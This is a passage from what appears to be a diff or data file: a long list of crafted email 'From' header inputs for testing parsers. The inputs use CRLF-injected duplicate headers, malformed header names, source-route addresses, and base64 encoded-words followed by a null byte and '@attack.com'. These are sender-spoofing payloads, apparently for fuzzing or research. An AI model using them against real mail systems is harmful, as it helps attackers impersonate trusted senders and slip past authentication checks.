\r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAY2hpbmEuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", - "From: \r\nFrom:,security@china.com\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQoY29tbWVudCk8YWRtaW5AMTM5LmNvbT4NCg===?=>", - "From :hr@gmail.com\r\n", - " FrOM: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:Mike@top.com,key@outlook.com\r\n", - " From: \r\nFrom:key@hotmail.com\r\n", - " Fromÿ: \r\nFrom:,()(comment),(\r\n)\r\n", - " Fromÿ: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", - "From :wordword(\r\n)(comment)\r\n", - " Fromÿ: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - "From:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - " From:(comment),(),webmaster@hotmail.com\r\n", - " FrOM: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksKCk8QGdtYWlsLmNvbTpAYi5jb206Qm9iQGljbG91ZC5jb20+LCw8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUB5bWFpbC5jb20uY24+LChoaSksKGNvbW1lbnQpDQo==?=>\u0000@attack.com", - "From: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", - " From:(comm\r\nent)(hi),key@msn.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sc2VjdXJpdHlAc29odS5jb20NCg===?=>", - " Fromÿ: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - "From:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - "From :word,<@a.com:@b.com:security@sohu.com>\r\n", - " FrOM: \r\nFrom:Bob@139.com,hr@china.com\r\n", - "From: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGhpKShjb21tDQplbnQpPHdlYm1hc3RlckBtc24uY29tPg0K=?=>", - " From: \r\nFrom:word(hi)(comm\r\nent)\r\n", - " From:(comment),word(comm\r\nent),(),(\r\n)\r\n", - "From: \r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - " From:(),webmaster@sina.cn,\r\n", - " From: \r\nFrom:Alice@outlook.com,word\r\n", - "From:(comment),(),webmaster@hotmail.com\r\n", - " FrOM: \r\nFrom:,hr@126.com,(hi)\r\n", - "From:(hi),(),,,word()(\r\n)()\r\n", - "From: Alice@outlook.com\r\n", - "From: word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - " Fromÿ: \r\nFrom:()\r\n", - "From: <=?utf-8?RnJvbTosKA0KKSxockBhbGl5dW4uY29tLA0K=?=>", - "From: (comm\r\nent),attacker@163.com\r\n", - "From:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQHltYWlsLmNvbS5jbj4sQWxpY2VAZ21haWwuY29tLHdvcmQoY29tbWVudCkuLndvcmQ8YXR0YWNrZXJAY2hpbmEuY29tPg0K=?=>\u0000@attack.com", - " From: \r\nFrom:word(\r\n)()\r\n", - "From :word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206YWRtaW5AZ21haWwuY29tPigNCikNCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:(),webmaster@sina.cn,\r\n", - "From: word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - "From :Mike@foxmail.com\r\n", - "From :Alice@outlook.com\r\n", - "From:Alice@aliyun.com\r\n", - "From: \r\nFrom:Mike@foxmail.com\r\n", - " FrOM: \r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - " From:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - " FrOM: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAY2hpbmEuY29tPihjb21tZW50KQ0K=?=>", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOmFkbWluQGhvdG1haWwuY29tPixhZG1pbkBzb2h1LmNvbSw8Qm9iQGNoaW5hLmNvbT4NCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:Mike@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBsaXZlLmNvbQ0K=?=>", - " From: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - "From: ,Alice@top.com\r\n", - "From:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - "From :(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQG1zbi5jb20+KCksc2VjdXJpdHlAYWxpeXVuLmNvbSx3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQHltYWlsLmNvbT4oKSx3b3JkPEJvYkBvdXRsb29rLmNvbT4oDQopDQo==?=>", - "From :,hr@live.com,hr@126.com\r\n", - " FrOM: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", - "From :(\r\n),wordword(\r\n)(\r\n),\r\n", - " From:wordword().(hi)\r\n", - "From: hr@aliyun.com\r\n", - " Fromÿ: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - "From:attacker@sohu.com\r\n", - "From:hr@sohu.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAYS5jb206QGIuY29tOmFkbWluQDEzOS5jb20+LDxCb2JAc2luYS5jb20+LDxAYS5jb206QGIuY29tOmtleUBhbGl5dW4uY29tPg0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:wordword(\r\n)\r\n", - "From:key@msn.com\r\n", - "From: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTosKA0KKSxNaWtlQGNoaW5hLmNvbSx3b3JkPGtleUAxNjMuY29tPihjb21tDQplbnQpLA0K=?=>\u0000@attack.com", - "From :<@qq.com:@163.com:Alice@sohu.com>\r\n", - "From: word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - "From: <=?utf-8?RnJvbTooaGkpLGFkbWluQG1zbi5jb20NCg===?=>", - "From:,hr@live.com,hr@126.com\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", - "From: (comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - " From: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - "From :,(hi),(\r\n)\r\n", - " From:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - " FrOM: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGZveG1haWwuY29tPigpDQo==?=>", - " From: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", - " From:webmaster@126.com\r\n", - "From:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - " Fromÿ: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", - "From: word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - "From:word(\r\n)()\r\n", - " From: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - " From: \r\nFrom:(hi),,(hi),(hi)\r\n", - " From:,attacker@sina.com,(hi)\r\n", - "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sYWRtaW5AZm94bWFpbC5jb20sd29yZC48QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAc2luYS5jb20+LCwNCg===?=>", - "From: <=?utf-8?RnJvbTosKA0KKSwoKTxAYS5jb206QGIuY29tOmFkbWluQHFxLmNvbT4oKSwsKGhpKSwoY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAZ21haWwuY29tPg0K=?=>", - "From: word(),wordword(hi)\r\n", - "From :,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTo8Qm9iQG91dGxvb2suY29tPihjb21tDQplbnQpDQo==?=>", - "From: \r\nFrom:hr@163.com\r\n", - " FrOM: \r\nFrom:,attacker@hotmail.com\r\n", - "From: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", - " FrOM: \r\nFrom:key@live.com\r\n", - " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - "From: <=?utf-8?RnJvbTo8QWxpY2VAc29odS5jb20+KCkNCg===?=>", - "From:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - "From :Mike@msn.com\r\n", - "From: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", - " From:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - "From:key@sohu.com\r\n", - "From :attacker@sohu.com,webmaster@foxmail.com\r\n", - " From: \r\nFrom:security@163.com\r\n", - "From: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - " Fromÿ: \r\nFrom:attacker@163.com\r\n", - " FrOM: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - "From :(comm\r\nent)(hi),key@msn.com\r\n", - "From :(comment),wordword\r\n", - "From :Bob@126.com\r\n", - " From:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - " From: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - " From:<@qq.com:@163.com:Alice@sohu.com>\r\n", - "From: webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - "From:webmaster@139.com\r\n", - "From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - "From: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", - " Fromÿ: \r\nFrom:(),Bob@qq.com\r\n", - "From :Alice@foxmail.com,attacker@139.com\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:,Mike@icloud.com\r\n", - "From: <=?utf-8?RnJvbTooKSwoY29tbQ0KZW50KSwoY29tbQ0KZW50KSw8c2VjdXJpdHlAc2luYS5jbj4oY29tbWVudCkNCg===?=>", - "From :(\r\n),admin@ymail.com.cn\r\n", - " FrOM: \r\nFrom:word(hi)(comm\r\nent)\r\n", - " From: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20NCg===?=>\u0000@attack.com", - " From: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - " From:Bob@sohu.com\r\n", - "From :key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - "From: (),webmaster@sina.cn,\r\n", - "From: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - "From: ,(comment),(),word..(hi)\r\n", - " From:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - "From: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - "From: \r\nFrom:attacker@126.com\r\n", - " From: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - "From :(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - " From:(comm\r\nent)(hi)\r\n", - " From:admin@qq.com\r\n", - "From: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - " From:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - "From:(comm\r\nent),key@sohu.com\r\n", - " From:()\r\n", - "From: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - "From: (),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - "From: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", - " From:attacker@sohu.com\r\n", - "From: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", - " From:,<@a.com:@b.com:Alice@sina.cn>\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBtc24uY29tLA0K=?=>", - "From :wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - "From: (comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - "From: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - " Fromÿ: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBvdXRsb29rLmNvbQ0K=?=>", - " From: \r\nFrom:attacker@ymail.com.cn\r\n", - " From:Mike@foxmail.com\r\n", - "From: wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - " From: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - " FrOM: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTosPGFkbWluQHNpbmEuY29tPiwsDQo==?=>\u0000@attack.com", - "From:(),Mike@139.com,\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tDQo==?=>\u0000@attack.com", - " From:admin@sohu.com\r\n", - " Fromÿ: \r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPihjb21tZW50KQ0K=?=>", - "From: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - "From: \r\nFrom:key@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAdG9wLmNvbT4oaGkpDQo==?=>\u0000@attack.com", - "From: Alice@live.com\r\n", - "From :admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - "From: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLDxAcXEuY29tOkAxNjMuY29tOmtleUBjaGluYS5jb20+DQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBob3RtYWlsLmNvbT4oKSx3b3Jkd29yZHdvcmQoY29tbQ0KZW50KTx3ZWJtYXN0ZXJAaWNsb3VkLmNvbT4NCg===?=>", - " From:Bob@139.com\r\n", - "From: Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - "From: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:admin@live.com,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosaHJAMTI2LmNvbSwoaGkpDQo==?=>\u0000@attack.com", - "From:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - " FrOM: \r\nFrom:admin@china.com,,,\r\n", - "From:word(\r\n)(\r\n)\r\n", - "From: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", - "From:admin@live.com\r\n", - "From :,Mike@icloud.com\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUBzaW5hLmNvbQ0K=?=>", - "From: <=?utf-8?RnJvbTosLChjb21tZW50KSx3ZWJtYXN0ZXJAc2luYS5jbiwoaGkpDQo==?=>", - "From: <=?utf-8?RnJvbTpNaWtlQGljbG91ZC5jb20sYWRtaW5AYWxpeXVuLmNvbSxockBzaW5hLmNvbSxCb2JAMTYzLmNvbSx3b3Jkd29yZHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAMTYzLmNvbT4sd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxMzkuY29tPg0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzb2h1LmNvbT4NCg===?=>\u0000@attack.com", - "From:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - " FrOM: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - "From :Bob@139.com\r\n", - "From: <=?utf-8?RnJvbTooKSwoY29tbQ0KZW50KSwoY29tbQ0KZW50KSw8c2VjdXJpdHlAc2luYS5jbj4oY29tbWVudCkNCg===?=>\u0000@attack.com", - " From:(\r\n),admin@ymail.com.cn\r\n", - "From:webmaster@sina.cn,Mike@163.com\r\n", - " From:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - " From:(comm\r\nent),attacker@163.com\r\n", - " From:<@a.com:@b.com:attacker@139.com>\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAcXEuY29tLGFkbWluQHRvcC5jb20sDQo==?=>\u0000@attack.com", - "From:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - "From:word(),wordword(hi)\r\n", - "From: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", - "From: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - " From: \r\nFrom:()(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AYWxpeXVuLmNvbT4oKSxhZG1pbkB0b3AuY29tLA0K=?=>", - "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQG1zbi5jb20+LDxAYS5jb206QGIuY29tOnNlY3VyaXR5QHNvaHUuY29tPg0K=?=>", - " Fromÿ: \r\nFrom:security@163.com\r\n", - "From :attacker@outlook.com\r\n", - "From: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - "From: ()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - "From :<@gmail.com:@b.com:key@top.com>\r\n", - "From:Alice@163.com\r\n", - "From :Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - "From: <=?utf-8?RnJvbTo8TWlrZUBob3RtYWlsLmNvbT4oY29tbQ0KZW50KSxrZXlAdG9wLmNvbSw8a2V5QG91dGxvb2suY29tPihoaSksd29yZChoaSk8QWxpY2VAcXEuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", - "From: \r\nFrom:key@msn.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPGF0dGFja2VyQDE2My5jb20+KGNvbW0NCmVudCksLCgNCikNCg===?=>", - " Fromÿ: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", - "From: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGtleUBpY2xvdWQuY29tPiw8QHFxLmNvbTpAMTYzLmNvbTpCb2JAeW1haWwuY29tLmNuPg0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:,,,word(\r\n)\r\n", - " From: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - "From: hr@126.com\r\n", - "From: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTpockB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", - "From:(comment)<@a.com:@b.com:Bob@139.com>\r\n", - " From:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - " From:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - "From:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - " From:(hi),(comm\r\nent),word().(\r\n)\r\n", - "From: <=?utf-8?RnJvbTo8TWlrZUBob3RtYWlsLmNvbT4oY29tbQ0KZW50KSxrZXlAdG9wLmNvbSw8a2V5QG91dGxvb2suY29tPihoaSksd29yZChoaSk8QWxpY2VAcXEuY29tPihjb21tZW50KQ0K=?=>", - "From: <=?utf-8?RnJvbTprZXlAb3V0bG9vay5jb20sKGNvbW0NCmVudCkNCg===?=>", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxNjMuY29tDQo==?=>", - "From:Mike@top.com,key@outlook.com\r\n", - "From: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", - "From: Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - " FrOM: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", - "From: \r\nFrom:word(\r\n)(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBsaXZlLmNvbT4oKQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:wordword(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQGhvdG1haWwuY29tPigNCikNCg===?=>\u0000@attack.com", - " From: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - "From: (comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTx3ZWJtYXN0ZXJAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>", - " From: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - "From: <@qq.com:@163.com:Mike@163.com>\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOk1pa2VAeW1haWwuY29tLmNuPixhdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>", - "From: \r\nFrom:Bob@sohu.com\r\n", - "From: (\r\n),admin@ymail.com.cn\r\n", - " FrOM: \r\nFrom:,webmaster@foxmail.com\r\n", - "From :webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - "From: word(hi)(comm\r\nent)\r\n", - "From: \r\nFrom:()\r\n", - "From:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSxrZXlAaWNsb3VkLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206aHJAeW1haWwuY29tLmNuPigpDQo==?=>", - "From: (hi),,(hi),(hi)\r\n", - " FrOM: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQDEzOS5jb20+KGNvbW1lbnQpLGF0dGFja2VyQHFxLmNvbSw8YXR0YWNrZXJAeW1haWwuY29tPigpLHdlYm1hc3RlckBzaW5hLmNvbQ0K=?=>\u0000@attack.com", - "From: <@qq.com:@163.com:Alice@sohu.com>\r\n", - " FrOM: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", - " From:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>", - "From:attacker@126.com\r\n", - " From:(\r\n),key@qq.com,\r\n", - "From :hr@foxmail.com\r\n", - " Fromÿ: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAcXEuY29tLCgpDQo==?=>", - " FrOM: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - "From :admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - " From: \r\nFrom:,,,word(\r\n)\r\n", - "From:,(comment),key@qq.com,(hi)\r\n", - " Fromÿ: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - "From:hr@foxmail.com\r\n", - "From :,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLCgpLCgpLCx3b3Jkd29yZHdvcmQ8c2VjdXJpdHlAbXNuLmNvbT4sLGhyQGxpdmUuY29tDQo==?=>", - " Fromÿ: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - " FrOM: \r\nFrom:(hi),,(hi),(hi)\r\n", - "From: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - "From: hr@sohu.com\r\n", - " FrOM: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTosLCx3b3JkPHdlYm1hc3RlckBjaGluYS5jb20+KA0KKQ0K=?=>", - " From: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - " From: \r\nFrom:Bob@139.com\r\n", - " Fromÿ: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPiwoDQopLCgpLEJvYkAxMzkuY29tLCwsKA0KKQ0K=?=>\u0000@attack.com", - "From :key@foxmail.com,(\r\n)\r\n", - " From: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - "From: 